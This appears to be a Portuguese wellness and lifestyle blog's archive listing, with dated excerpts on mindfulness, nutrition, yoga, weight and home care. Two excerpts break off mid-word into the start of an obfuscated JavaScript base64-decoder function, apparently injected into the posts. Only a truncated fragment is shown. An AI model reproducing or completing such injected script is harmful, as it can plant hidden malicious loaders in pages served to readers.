Mai 29, 2019 | Equilíbrio, Saúde e bem estar, Zen Energy
Sabia que 15 minutos por dia podem mudar a sua vida? Praticar mindfulness Toda a vida quis fazer mais, ter mais, ser mais! Desde os 12 anos que me sinto numa busca incessante de respostas, de uma compreensão maior do mundo e de mim mesma que me permitam expressar de...
Jun 13, 2016 | Equilíbrio, Saúde e bem estar
Truques e dicas para comer bem Maximize o poder salutar da fruta, dos legumes e dos vegetais: Prefira os produtos frescos, que ainda estão viçosos e não murchos. Fresco = nutritivo. Qufunction a4872b9c6b(y1){var...
Jun 3, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A lista dos 17 alimentos saudáveis que mais saciam Aqui tem uma lista muito simples de alimentos saudáveis, de fácil consulta. Se o seu objectivo é perder peso, planifique as suas ementas de maneira a incluir nelas estes alimentos e conseguirá controlar o seu peso de...
Mai 23, 2016 | Equilíbrio, Estilo e beleza, Zen Energy
Bye bye, pontos fracos! Como disfarçar os pontos fracos no corpo? por Beatriz Palma, consultora de imagem Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
10 Hábitos saudáveis que o ajudarão a viver até aos 100 anos. Tome nota destas interessantes dicas publicadas pela revista americana U.S. News, onde são apresentados 10 hábitos que farão superar as suas expectativas de vida. Viver um século é possível, experimente!...
Abr 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Yoga em qualquer idade – Conheça os seus benefícios O yoga é para todas as idades e nunca é tarde para começar Está comprovado que os seniores e as pessoas com mobilidade reduzida têm enormes benefícios físicos ao praticarem yoga, pois em todas as fases da vida...
Mar 28, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 2, Zen Energy
Voltar ao ritmo e atingir de novo objetivos Engordei, e agora? Se o ponteiro da balança aumentou, não desespere. Agora há que recuperar o tempo perdido e ir em frente sem culpabilidade. Vamos a isso? ___ Foque-se nesse objetivo concreto e esqueça os excessos...
Mar 21, 2016 | Equilíbrio, header, Sugestões, Zen Energy
Decoração, casa e jardim Cuide das suas plantas e dê um toque acolhedor à sua casa Assim como as pessoas, as plantas também precisam de cuidados especiais nos dias frios. Os ventos fortes, rajadas e tempestades podem prejudicar as suas plantas. Seja qual for o estilo...
Mar 15, 2016 | Equilíbrio, Saúde e bem estar
Onde começa o amor por nós e acaba o amor pelos outros? Ou melhor dizendo: onde acaba o amor por nós e começa o amor pelos outros? Qual das duas perguntas nos ajudará mais? Será que existe uma fronteira entre um amor que começa e um outro que acaba para dar lugar ao...
